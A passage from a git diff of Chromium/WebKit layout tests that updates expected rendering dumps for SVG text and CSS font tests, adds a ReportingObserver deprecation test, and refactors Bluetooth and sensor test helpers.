-PASS allowsBreakBefore(118) is true
-PASS allowsBreakBefore(119) is true
-PASS allowsBreakBefore(120) is true
-PASS allowsBreakBefore(121) is true
-PASS allowsBreakBefore(122) is true
-PASS allowsBreakBefore(123) is true
-PASS allowsBreakBefore(124) is true
-PASS allowsBreakBefore(125) is false
-PASS allowsBreakBefore(126) is true
-PASS allowsBreakBefore(127) is true
-PASS successfullyParsed is true
-
-TEST COMPLETE
-
diff --git a/third_party/WebKit/LayoutTests/platform/win/paint/invalidation/selection-after-remove-expected.txt b/third_party/WebKit/LayoutTests/platform/win/paint/invalidation/selection-after-remove-expected.txt
index 1afee59..2cb91fc0 100644
--- a/third_party/WebKit/LayoutTests/platform/win/paint/invalidation/selection-after-remove-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/paint/invalidation/selection-after-remove-expected.txt
@@ -44,6 +44,14 @@
       "reason": "disappeared"
     },
     {
+      "object": "LayoutBlockFlow HTML",
+      "reason": "selection"
+    },
+    {
+      "object": "LayoutBlockFlow BODY",
+      "reason": "selection"
+    },
+    {
       "object": "LayoutBlockFlow DIV id='test'",
       "reason": "geometry"
     },
diff --git a/third_party/WebKit/LayoutTests/platform/win/paint/selection/text-selection-update-style-expected.png b/third_party/WebKit/LayoutTests/platform/win/paint/selection/text-selection-update-style-expected.png
new file mode 100644
index 0000000..4bcf4c7
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/platform/win/paint/selection/text-selection-update-style-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/smallFonts-expected.png b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/smallFonts-expected.png
index b170da1a..c1bbc5d 100644
--- a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/smallFonts-expected.png
+++ b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/smallFonts-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/smallFonts-expected.txt b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/smallFonts-expected.txt
index e067690..01c48ed 100644
--- a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/smallFonts-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/smallFonts-expected.txt
@@ -33,27 +33,27 @@
             chunk 1 text run 1 at (6.25,2.00) startOffset 0 endOffset 3 width 0.32: "or "
           LayoutSVGTSpan {tspan} at (0.89,1.47) size 6.22x0.67
             LayoutSVGInlineText {#text} at (6.56,1.75) size 0.55x0.33
-              chunk 1 text run 1 at (6.57,2.00) startOffset 0 endOffset 5 width 0.56: "style"
+              chunk 1 text run 1 at (6.57,2.00) startOffset 0 endOffset 5 width 0.54: "style"
           LayoutSVGInlineText {#text} at (0,0) size 0x0
         LayoutSVGText {text} at (0.89,2.14) size 3.25x0.33 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (0.89,2.14) size 3.25x0.33
             chunk 1 text run 1 at (0.90,2.40) startOffset 0 endOffset 29 width 3.26: "within a single text element."
-        LayoutSVGText {text} at (0.89,2.92) size 6.50x0.34 contains 1 chunk(s)
+        LayoutSVGText {text} at (0.89,2.92) size 6.42x0.34 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (0.89,2.94) size 2.80x0.33
             chunk 1 text run 1 at (0.90,3.20) startOffset 0 endOffset 25 width 2.80: "Styling features include "
-          LayoutSVGTSpan {tspan} at (0.89,2.92) size 6.50x0.34
+          LayoutSVGTSpan {tspan} at (0.89,2.92) size 6.42x0.34
             LayoutSVGInlineText {#text} at (3.69,2.92) size 0.94x0.33
               chunk 1 text run 1 at (3.70,3.20) startOffset 0 endOffset 7 width 0.94: "weight,"
           LayoutSVGInlineText {#text} at (4.63,2.94) size 0.08x0.33
             chunk 1 text run 1 at (4.64,3.20) startOffset 0 endOffset 1 width 0.08: " "
-          LayoutSVGTSpan {tspan} at (0.89,2.92) size 6.50x0.34
-            LayoutSVGInlineText {#text} at (4.67,2.94) size 1.05x0.33
-              chunk 1 text run 1 at (4.72,3.20) startOffset 0 endOffset 8 width 1.01: "posture,"
-          LayoutSVGInlineText {#text} at (5.72,2.94) size 0.58x0.33
-            chunk 1 text run 1 at (5.73,3.20) startOffset 0 endOffset 5 width 0.58: " and "
-          LayoutSVGTSpan {tspan} at (0.89,2.92) size 6.50x0.34
-            LayoutSVGInlineText {#text} at (6.30,2.94) size 1.09x0.33
-              chunk 1 text run 1 at (6.31,3.20) startOffset 0 endOffset 9 width 1.10: "typeface."
+          LayoutSVGTSpan {tspan} at (0.89,2.92) size 6.42x0.34
+            LayoutSVGInlineText {#text} at (4.69,2.94) size 0.94x0.33
+              chunk 1 text run 1 at (4.72,3.20) startOffset 0 endOffset 8 width 0.92: "posture,"
+          LayoutSVGInlineText {#text} at (5.63,2.94) size 0.58x0.33
+            chunk 1 text run 1 at (5.64,3.20) startOffset 0 endOffset 5 width 0.58: " and "
+          LayoutSVGTSpan {tspan} at (0.89,2.92) size 6.42x0.34
+            LayoutSVGInlineText {#text} at (6.22,2.94) size 1.09x0.33
+              chunk 1 text run 1 at (6.22,3.20) startOffset 0 endOffset 9 width 1.10: "typeface."
           LayoutSVGInlineText {#text} at (0,0) size 0x0
         LayoutSVGRect {rect} at (0.90,3.50) size 4.05x1 [fill={[type=SOLID] [color=#1E90FF]}] [x=0.90] [y=3.50] [width=4.05] [height=1.00]
         LayoutSVGText {text} at (0.89,3.75) size 5.91x0.33 contains 1 chunk(s)
diff --git a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textFeatures-expected.png b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textFeatures-expected.png
index d8720536..b3ea84d 100644
--- a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textFeatures-expected.png
+++ b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textFeatures-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textFeatures-expected.txt b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textFeatures-expected.txt
index 55ea9080..c982b73 100644
--- a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textFeatures-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textFeatures-expected.txt
@@ -32,27 +32,27 @@
             chunk 1 text run 1 at (312.35,100.00) startOffset 0 endOffset 3 width 16.00: "or "
           LayoutSVGTSpan {tspan} at (45,73) size 311.34x34
             LayoutSVGInlineText {#text} at (328.34,87) size 28x17
-              chunk 1 text run 1 at (328.35,100.00) startOffset 0 endOffset 5 width 28.00: "style"
+              chunk 1 text run 1 at (328.35,100.00) startOffset 0 endOffset 5 width 27.00: "style"
           LayoutSVGInlineText {#text} at (0,0) size 0x0
         LayoutSVGText {text} at (45,112) size 163x17 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (45,112) size 163x17
             chunk 1 text run 1 at (45.00,125.00) startOffset 0 endOffset 29 width 163.00: "within a single text element."
-        LayoutSVGText {text} at (45,161) size 325.44x18 contains 1 chunk(s)
+        LayoutSVGText {text} at (45,161) size 321x18 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (45,162) size 140x17
             chunk 1 text run 1 at (45.00,175.00) startOffset 0 endOffset 25 width 140.00: "Styling features include "
-          LayoutSVGTSpan {tspan} at (45,161) size 325.44x18
+          LayoutSVGTSpan {tspan} at (45,161) size 321x18
             LayoutSVGInlineText {#text} at (185,161) size 47x17
               chunk 1 text run 1 at (185.00,175.00) startOffset 0 endOffset 7 width 47.00: "weight,"
           LayoutSVGInlineText {#text} at (232,162) size 4x17
             chunk 1 text run 1 at (232.00,175.00) startOffset 0 endOffset 1 width 4.00: " "
-          LayoutSVGTSpan {tspan} at (45,161) size 325.44x18
-            LayoutSVGInlineText {#text} at (234,162) size 52.44x17
-              chunk 1 text run 1 at (236.00,175.00) startOffset 0 endOffset 8 width 50.44: "posture,"
-          LayoutSVGInlineText {#text} at (286.44,162) size 29x17
-            chunk 1 text run 1 at (286.44,175.00) startOffset 0 endOffset 5 width 29.00: " and "
-          LayoutSVGTSpan {tspan} at (45,161) size 325.44x18
-            LayoutSVGInlineText {#text} at (315.44,162) size 55x17
-              chunk 1 text run 1 at (315.44,175.00) startOffset 0 endOffset 9 width 55.00: "typeface."
+          LayoutSVGTSpan {tspan} at (45,161) size 321x18
+            LayoutSVGInlineText {#text} at (235,162) size 47x17
+              chunk 1 text run 1 at (236.00,175.00) startOffset 0 endOffset 8 width 46.00: "posture,"
+          LayoutSVGInlineText {#text} at (282,162) size 29x17
+            chunk 1 text run 1 at (282.00,175.00) startOffset 0 endOffset 5 width 29.00: " and "
+          LayoutSVGTSpan {tspan} at (45,161) size 321x18
+            LayoutSVGInlineText {#text} at (311,162) size 55x17
+              chunk 1 text run 1 at (311.00,175.00) startOffset 0 endOffset 9 width 55.00: "typeface."
           LayoutSVGInlineText {#text} at (0,0) size 0x0
         LayoutSVGRect {rect} at (45,200) size 202.50x50 [fill={[type=SOLID] [color=#1E90FF]}] [x=45.00] [y=200.00] [width=202.50] [height=50.00]
         LayoutSVGText {text} at (45,212) size 296x17 contains 1 chunk(s)
diff --git a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textStyles-expected.png b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textStyles-expected.png
index 27802d7..6e35fdb 100644
--- a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textStyles-expected.png
+++ b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textStyles-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textStyles-expected.txt b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textStyles-expected.txt
index 522afaf..e4c757a 100644
--- a/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textStyles-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/svg/batik/text/textStyles-expected.txt
@@ -29,11 +29,11 @@
         LayoutSVGText {text} at (-35.50,3) size 71x15 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (-35.50,3) size 71x15
             chunk 1 (middle anchor) text run 1 at (-35.50,15.00) startOffset 0 endOffset 15 width 71.00: "SansSerif, bold"
-      LayoutSVGContainer {g} at (-42.50,-28) size 85x46 [transform={m=((1.00,0.00)(0.00,1.00)) t=(350.00,110.00)}]
-        LayoutSVGContainer {use} at (-42.50,-28) size 85x35
-          LayoutSVGText {text} at (-42.50,-28) size 85x35 contains 1 chunk(s)
-            LayoutSVGInlineText {#text} at (-42.50,-28) size 85x35
-              chunk 1 (middle anchor) text run 1 at (-42.50,0.00) startOffset 0 endOffset 6 width 85.00: "sample"
+      LayoutSVGContainer {g} at (-42.50,-27) size 86.50x45 [transform={m=((1.00,0.00)(0.00,1.00)) t=(350.00,110.00)}]
+        LayoutSVGContainer {use} at (-41,-27) size 85x34
+          LayoutSVGText {text} at (-41,-27) size 85x34 contains 1 chunk(s)
+            LayoutSVGInlineText {#text} at (-41,-27) size 85x34
+              chunk 1 (middle anchor) text run 1 at (-41.00,0.00) startOffset 0 endOffset 6 width 82.00: "sample"
         LayoutSVGText {text} at (-42.50,3) size 85x15 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (-42.50,3) size 85x15
             chunk 1 (middle anchor) text run 1 at (-42.50,15.00) startOffset 0 endOffset 18 width 85.00: "SansSerif, oblique"
@@ -53,11 +53,11 @@
         LayoutSVGText {text} at (-24.50,3) size 49x15 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (-24.50,3) size 49x15
             chunk 1 (middle anchor) text run 1 at (-24.50,15.00) startOffset 0 endOffset 11 width 49.00: "Serif, bold"
-      LayoutSVGContainer {g} at (-42.50,-28) size 85x46 [transform={m=((1.00,0.00)(0.00,1.00)) t=(350.00,160.00)}]
-        LayoutSVGContainer {use} at (-42.50,-28) size 85x35
-          LayoutSVGText {text} at (-42.50,-28) size 85x35 contains 1 chunk(s)
-            LayoutSVGInlineText {#text} at (-42.50,-28) size 85x35
-              chunk 1 (middle anchor) text run 1 at (-42.50,0.00) startOffset 0 endOffset 6 width 85.00: "sample"
+      LayoutSVGContainer {g} at (-41,-27) size 85x45 [transform={m=((1.00,0.00)(0.00,1.00)) t=(350.00,160.00)}]
+        LayoutSVGContainer {use} at (-41,-27) size 85x34
+          LayoutSVGText {text} at (-41,-27) size 85x34 contains 1 chunk(s)
+            LayoutSVGInlineText {#text} at (-41,-27) size 85x34
+              chunk 1 (middle anchor) text run 1 at (-41.00,0.00) startOffset 0 endOffset 6 width 82.00: "sample"
         LayoutSVGText {text} at (-31.50,3) size 63x15 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (-31.50,3) size 63x15
             chunk 1 (middle anchor) text run 1 at (-31.50,15.00) startOffset 0 endOffset 14 width 63.00: "Serif, oblique"
@@ -77,11 +77,11 @@
         LayoutSVGText {text} at (-45,3) size 90x15 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (-45,3) size 90x15
             chunk 1 (middle anchor) text run 1 at (-45.00,15.00) startOffset 0 endOffset 16 width 90.00: "Monospaced, bold"
-      LayoutSVGContainer {g} at (-52,-28) size 104x46 [transform={m=((1.00,0.00)(0.00,1.00)) t=(350.00,210.00)}]
-        LayoutSVGContainer {use} at (-42.50,-28) size 85x35
-          LayoutSVGText {text} at (-42.50,-28) size 85x35 contains 1 chunk(s)
-            LayoutSVGInlineText {#text} at (-42.50,-28) size 85x35
-              chunk 1 (middle anchor) text run 1 at (-42.50,0.00) startOffset 0 endOffset 6 width 85.00: "sample"
+      LayoutSVGContainer {g} at (-52,-27) size 104x45 [transform={m=((1.00,0.00)(0.00,1.00)) t=(350.00,210.00)}]
+        LayoutSVGContainer {use} at (-41,-27) size 85x34
+          LayoutSVGText {text} at (-41,-27) size 85x34 contains 1 chunk(s)
+            LayoutSVGInlineText {#text} at (-41,-27) size 85x34
+              chunk 1 (middle anchor) text run 1 at (-41.00,0.00) startOffset 0 endOffset 6 width 82.00: "sample"
         LayoutSVGText {text} at (-52,3) size 104x15 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (-52,3) size 104x15
             chunk 1 (middle anchor) text run 1 at (-52.00,15.00) startOffset 0 endOffset 19 width 104.00: "Monospaced, oblique"
@@ -94,10 +94,10 @@
           LayoutSVGInlineText {#text} at (-20.50,3) size 41x15
             chunk 1 (middle anchor) text run 1 at (-20.50,15.00) startOffset 0 endOffset 9 width 41.00: "(default)"
       LayoutSVGContainer {g} at (-50.50,-28) size 101x46 [transform={m=((1.00,0.00)(0.00,1.00)) t=(225.00,260.00)}]
-        LayoutSVGContainer {use} at (-43.50,-28) size 87x34
-          LayoutSVGText {text} at (-43.50,-28) size 87x34 contains 1 chunk(s)
-            LayoutSVGInlineText {#text} at (-43.50,-28) size 87x34
-              chunk 1 (middle anchor) text run 1 at (-43.50,0.00) startOffset 0 endOffset 6 width 87.00: "sample"
+        LayoutSVGContainer {use} at (-44,-28) size 90x35
+          LayoutSVGText {text} at (-44,-28) size 90x35 contains 1 chunk(s)
+            LayoutSVGInlineText {#text} at (-44,-28) size 90x35
+              chunk 1 (middle anchor) text run 1 at (-44.00,0.00) startOffset 0 endOffset 6 width 88.00: "sample"
         LayoutSVGText {text} at (-50.50,3) size 101x15 contains 1 chunk(s)
           LayoutSVGInlineText {#text} at (-50.50,3) size 101x15
             chunk 1 (middle anchor) text run 1 at (-50.50,15.00) startOffset 0 endOffset 22 width 101.00: "default, bold, oblique"
@@ -112,9 +112,9 @@
       LayoutSVGText {text} at (181,300) size 88x12 contains 1 chunk(s)
         LayoutSVGInlineText {#text} at (181,300) size 88x12
           chunk 1 (middle anchor) text run 1 at (181.00,310.00) startOffset 0 endOffset 19 width 88.00: "Named Font Families"
-      LayoutSVGText {text} at (128.17,315) size 193.63x12 contains 1 chunk(s)
-        LayoutSVGInlineText {#text} at (128.17,315) size 193.63x12
-          chunk 1 (middle anchor) text run 1 at (128.19,325.00) startOffset 0 endOffset 49 width 193.63: "(Not all typefaces are available on all systems.)"
+      LayoutSVGText {text} at (131,315) size 189x12 contains 1 chunk(s)
+        LayoutSVGInlineText {#text} at (131,315) size 189x12
+          chunk 1 (middle anchor) text run 1 at (131.00,325.00) startOffset 0 endOffset 49 width 188.00: "(Not all typefaces are available on all systems.)"
       LayoutSVGContainer {g} at (-41,-27) size 82x45 [transform={m=((1.00,0.00)(0.00,1.00)) t=(100.00,360.00)}]
         LayoutSVGContainer {use} at (-41,-27) size 82x34
           LayoutSVGText {text} at (-41,-27) size 82x34 contains 1 chunk(s)
diff --git a/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font-expected.txt b/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font-expected.txt
index 9c72654..ae55213 100644
--- a/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font-expected.txt
@@ -100,13 +100,13 @@
           text run at (128,229) width 543: "Extra text is included for the purposes of testing this more"
           text run at (0,325) width 102: "effectively."
       LayoutBlockFlow {P} at (0,1553.33) size 769x144
-        LayoutText {#text} at (0,7) size 752x129
-          text run at (0,7) width 752: "This element should be in a sans-serif font, oblique and not small-caps, with a weight of"
+        LayoutText {#text} at (0,7) size 763x129
+          text run at (0,7) width 763: "This element should be in a sans-serif font, oblique and not small-caps, with a weight of"
           text run at (0,43) width 40: "700. "
-          text run at (40,43) width 663: "Its font-size should be 18 pixels, and its line-height should be 36px (200% this"
-          text run at (0,79) width 177: "element's font size). "
-          text run at (177,79) width 498: "Extra text is included for the purposes of testing this more"
-          text run at (0,115) width 91: "effectively."
+          text run at (40,43) width 674: "Its font-size should be 18 pixels, and its line-height should be 36px (200% this"
+          text run at (0,79) width 181: "element's font size). "
+          text run at (181,79) width 509: "Extra text is included for the purposes of testing this more"
+          text run at (0,115) width 97: "effectively."
       LayoutBlockFlow {P} at (0,1715.33) size 769x46
         LayoutText {#text} at (0,5) size 760x36
           text run at (0,5) width 305: "This element should be in a sans-serif font, with a weight of 400. "
@@ -206,13 +206,13 @@
                   text run at (0,322) width 728: "Extra text is included for the purposes of testing this more"
                   text run at (0,418) width 135: "effectively."
               LayoutBlockFlow {P} at (4,1854.33) size 747x144
-                LayoutText {#text} at (0,7) size 730x129
-                  text run at (0,7) width 730: "This element should be in a sans-serif font, oblique and not small-caps, with a weight"
+                LayoutText {#text} at (0,7) size 741x129
+                  text run at (0,7) width 741: "This element should be in a sans-serif font, oblique and not small-caps, with a weight"
                   text run at (0,43) width 62: "of 700. "
-                  text run at (62,43) width 663: "Its font-size should be 18 pixels, and its line-height should be 36px (200% this"
-                  text run at (0,79) width 177: "element's font size). "
-                  text run at (177,79) width 498: "Extra text is included for the purposes of testing this more"
-                  text run at (0,115) width 91: "effectively."
+                  text run at (62,43) width 674: "Its font-size should be 18 pixels, and its line-height should be 36px (200% this"
+                  text run at (0,79) width 181: "element's font size). "
+                  text run at (181,79) width 509: "Extra text is included for the purposes of testing this more"
+                  text run at (0,115) width 97: "effectively."
               LayoutBlockFlow {P} at (4,2016.33) size 747x62
                 LayoutText {#text} at (0,7) size 742x47
                   text run at (0,7) width 374: "This element should be in a sans-serif font, with a weight of 400. "
diff --git a/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font_style-expected.png b/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font_style-expected.png
index 7ee2a0a..4ddfeae9 100644
--- a/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font_style-expected.png
+++ b/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font_style-expected.png
Binary files differ
diff --git a/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font_style-expected.txt b/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font_style-expected.txt
index b6ee2140..d4776c9a 100644
--- a/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font_style-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win/virtual/mojo-loading/css1/font_properties/font_style-expected.txt
@@ -24,8 +24,8 @@
         LayoutText {#text} at (548,0) size 5x19
           text run at (548,0) width 5: "."
       LayoutBlockFlow {P} at (0,167) size 784x20
-        LayoutText {#text} at (0,0) size 219x19
-          text run at (0,0) width 219: "This paragraph should be oblique."
+        LayoutText {#text} at (0,0) size 204x19
+          text run at (0,0) width 204: "This paragraph should be oblique."
       LayoutBlockFlow {P} at (0,203) size 784x20
         LayoutInline {I} at (0,0) size 201x19
           LayoutText {#text} at (0,0) size 201x19
@@ -52,8 +52,8 @@
                 LayoutText {#text} at (548,0) size 5x19
                   text run at (548,0) width 5: "."
               LayoutBlockFlow {P} at (4,40) size 553x20
-                LayoutText {#text} at (0,0) size 219x19
-                  text run at (0,0) width 219: "This paragraph should be oblique."
+                LayoutText {#text} at (0,0) size 204x19
+                  text run at (0,0) width 204: "This paragraph should be oblique."
               LayoutBlockFlow {P} at (4,76) size 553x20
                 LayoutInline {I} at (0,0) size 201x19
                   LayoutText {#text} at (0,0) size 201x19
diff --git a/third_party/WebKit/LayoutTests/platform/win7/virtual/mojo-loading/css1/font_properties/font-expected.txt b/third_party/WebKit/LayoutTests/platform/win7/virtual/mojo-loading/css1/font_properties/font-expected.txt
index de7cfe4..e61c2b3 100644
--- a/third_party/WebKit/LayoutTests/platform/win7/virtual/mojo-loading/css1/font_properties/font-expected.txt
+++ b/third_party/WebKit/LayoutTests/platform/win7/virtual/mojo-loading/css1/font_properties/font-expected.txt
@@ -98,13 +98,13 @@
           text run at (693,133) width 47: "Extra"
           text run at (0,229) width 524: "text is included for the purposes of testing this more effectively."
       LayoutBlockFlow {P} at (0,1430.33) size 769x144
-        LayoutText {#text} at (0,7) size 752x129
-          text run at (0,7) width 752: "This element should be in a sans-serif font, oblique and not small-caps, with a weight of"
+        LayoutText {#text} at (0,7) size 763x129
+          text run at (0,7) width 763: "This element should be in a sans-serif font, oblique and not small-caps, with a weight of"
           text run at (0,43) width 40: "700. "
-          text run at (40,43) width 663: "Its font-size should be 18 pixels, and its line-height should be 36px (200% this"
-          text run at (0,79) width 177: "element's font size). "
-          text run at (177,79) width 498: "Extra text is included for the purposes of testing this more"
-          text run at (0,115) width 91: "effectively."
+          text run at (40,43) width 674: "Its font-size should be 18 pixels, and its line-height should be 36px (200% this"
+          text run at (0,79) width 181: "element's font size). "
+          text run at (181,79) width 509: "Extra text is included for the purposes of testing this more"
+          text run at (0,115) width 97: "effectively."
       LayoutBlockFlow {P} at (0,1592.33) size 769x46
         LayoutText {#text} at (0,5) size 760x36
           text run at (0,5) width 305: "This element should be in a sans-serif font, with a weight of 400. "
@@ -203,13 +203,13 @@
                   text run at (433,226) width 306: "Extra text is included for the"
                   text run at (0,322) width 427: "purposes of testing this more effectively."
               LayoutBlockFlow {P} at (4,1722.33) size 747x144
-                LayoutText {#text} at (0,7) size 730x129
-                  text run at (0,7) width 730: "This element should be in a sans-serif font, oblique and not small-caps, with a weight"
+                LayoutText {#text} at (0,7) size 741x129
+                  text run at (0,7) width 741: "This element should be in a sans-serif font, oblique and not small-caps, with a weight"
                   text run at (0,43) width 62: "of 700. "
-                  text run at (62,43) width 663: "Its font-size should be 18 pixels, and its line-height should be 36px (200% this"
-                  text run at (0,79) width 177: "element's font size). "
-                  text run at (177,79) width 498: "Extra text is included for the purposes of testing this more"
-                  text run at (0,115) width 91: "effectively."
+                  text run at (62,43) width 674: "Its font-size should be 18 pixels, and its line-height should be 36px (200% this"
+                  text run at (0,79) width 181: "element's font size). "
+                  text run at (181,79) width 509: "Extra text is included for the purposes of testing this more"
+                  text run at (0,115) width 97: "effectively."
               LayoutBlockFlow {P} at (4,1884.33) size 747x62
                 LayoutText {#text} at (0,7) size 742x47
                   text run at (0,7) width 374: "This element should be in a sans-serif font, with a weight of 400. "
diff --git a/third_party/WebKit/LayoutTests/reporting-observer/deprecation.html b/third_party/WebKit/LayoutTests/reporting-observer/deprecation.html
new file mode 100644
index 0000000..30e4123
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/reporting-observer/deprecation.html
@@ -0,0 +1,5 @@
+<!doctype html>
+<script src="../resources/testharness.js"></script>
+<script src="../resources/testharnessreport.js"></script>
+<p>ReportingObserver tests</p>
+<script src="resources/deprecation.js"></script>
diff --git a/third_party/WebKit/LayoutTests/reporting-observer/resources/deprecation.js b/third_party/WebKit/LayoutTests/reporting-observer/resources/deprecation.js
new file mode 100644
index 0000000..20509ff7
--- /dev/null
+++ b/third_party/WebKit/LayoutTests/reporting-observer/resources/deprecation.js
@@ -0,0 +1,25 @@
+async_test(function(test) {
+  var observer = new ReportingObserver(function(reports, observer) {
+    test.step(function() {
+      assert_equals(reports.length, 2);
+
+      // Ensure that the contents of the reports are valid.
+      for(let report of reports) {
+        assert_equals(report.type, "deprecation");
+        assert_true(report.url.endsWith(
+            "reporting-observer/deprecation.html"));
+        assert_true(report.body.sourceFile.endsWith(
+            "reporting-observer/resources/deprecation.js"));
+        assert_equals(typeof reports[0].body.lineNumber, "number");
+        assert_equals(typeof reports[0].body.message, "string");
+      }
+    });
+
+    test.done();
+  });
+  observer.observe();
+
+  // Use two deprecated features to generate two deprecation reports.
+  window.webkitStorageInfo;
+  window.getMatchedCSSRules();
+}, "Deprecation reports");
diff --git a/third_party/WebKit/LayoutTests/resources/bluetooth/bluetooth-helpers.js b/third_party/WebKit/LayoutTests/resources/bluetooth/bluetooth-helpers.js
index 7d2407e4..240b102 100644
--- a/third_party/WebKit/LayoutTests/resources/bluetooth/bluetooth-helpers.js
+++ b/third_party/WebKit/LayoutTests/resources/bluetooth/bluetooth-helpers.js
@@ -549,44 +549,40 @@
 // Returns an object containing a Health Thermometer BluetoothRemoteGattService
 // and its corresponding FakeRemoteGATTService.
 function getHealthThermometerService() {
+  let result;
   return getHealthThermometerDevice()
-    .then(result => {
-      return result.device.gatt.getPrimaryService('health_thermometer')
-        .then(service => ({
-          service: service,
-          fake_service: result.fake_health_thermometer
-        }));
-    });
+    .then(r => result = r)
+    .then(() => result.device.gatt.getPrimaryService('health_thermometer'))
+    .then(service => Object.assign(result, {
+      service,
+      fake_service: result.fake_health_thermometer,
+    }));
 }
 
 // Returns an object containing a Measurement Interval
 // BluetoothRemoteGATTCharacteristic and its corresponding
 // FakeRemoteGATTCharacteristic.
 function getMeasurementIntervalCharacteristic() {
-  return getHealthThermometerDevice()
-    .then(result => {
-      return result.device.gatt.getPrimaryService('health_thermometer')
-        .then(service => service.getCharacteristic('measurement_interval'))
-        .then(characteristic => ({
-          characteristic: characteristic,
-          fake_characteristic: result.fake_measurement_interval
-        }));
-    });
+  let result;
+  return getHealthThermometerService()
+    .then(r => result = r)
+    .then(() => result.service.getCharacteristic('measurement_interval'))
+    .then(characteristic => Object.assign(result, {
+      characteristic,
+      fake_characteristic: result.fake_measurement_interval,
+    }));
 }
 
 function getUserDescriptionDescriptor() {
-  return getHealthThermometerDevice()
-    .then(result => {
-      return result
-        .device.gatt.getPrimaryService('health_thermometer')
-        .then(service => service.getCharacteristic('measurement_interval'))
-        .then(characteristic => characteristic.getDescriptor(
-          'gatt.characteristic_user_description'))
-        .then(descriptor => ({
-          descriptor: descriptor,
-          fake_descriptor: result.fake_user_description,
-        }));
-    });
+  let result;
+  return getMeasurementIntervalCharacteristic()
+    .then(r => result = r)
+    .then(() => result.characteristic.getDescriptor(
+        'gatt.characteristic_user_description'))
+    .then(descriptor => Object.assign(result, {
+      descriptor,
+      fake_descriptor: result.fake_user_description,
+    }));
 }
 
 // Similar to getHealthThermometerDevice except the GATT discovery
diff --git a/third_party/WebKit/LayoutTests/sensor/accelerometer.html b/third_party/WebKit/LayoutTests/sensor/accelerometer.html
index 1acd08d..8c1d57a8 100644
--- a/third_party/WebKit/LayoutTests/sensor/accelerometer.html
+++ b/third_party/WebKit/LayoutTests/sensor/accelerometer.html
@@ -1,7 +1,6 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
 <script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
 <script src="file:///gen/services/device/public/interfaces/sensor_provider.mojom.js"></script>
 <script src="resources/sensor-helpers.js"></script>
diff --git a/third_party/WebKit/LayoutTests/sensor/ambient-light-sensor.html b/third_party/WebKit/LayoutTests/sensor/ambient-light-sensor.html
index da3ddf5..08200e7d 100644
--- a/third_party/WebKit/LayoutTests/sensor/ambient-light-sensor.html
+++ b/third_party/WebKit/LayoutTests/sensor/ambient-light-sensor.html
@@ -1,7 +1,6 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
 <script src="file:///gen/layout_test_data/mojo/public/js/mojo_bindings.js"></script>
 <script src="file:///gen/services/device/public/interfaces/sensor_provider.mojom.js"></script>
 <script src="resources/sensor-helpers.js"></script>
diff --git a/third_party/WebKit/LayoutTests/sensor/gyroscope.html b/third_party/WebKit/LayoutTests/sensor/gyroscope.html
index 15fdd03..d63b81d 100644
--- a/third_party/WebKit/LayoutTests/sensor/gyroscope.html
+++ b/third_party/WebKit/LayoutTests/sensor/gyroscope.html
@@ -1,7 +1,6 @@
 <!DOCTYPE html>
 <script src="../resources/testharness.js"></script>
 <script src="../resources/testharnessreport.js"></script>
-<script src="../resources/mojo-helpers.js"></script>
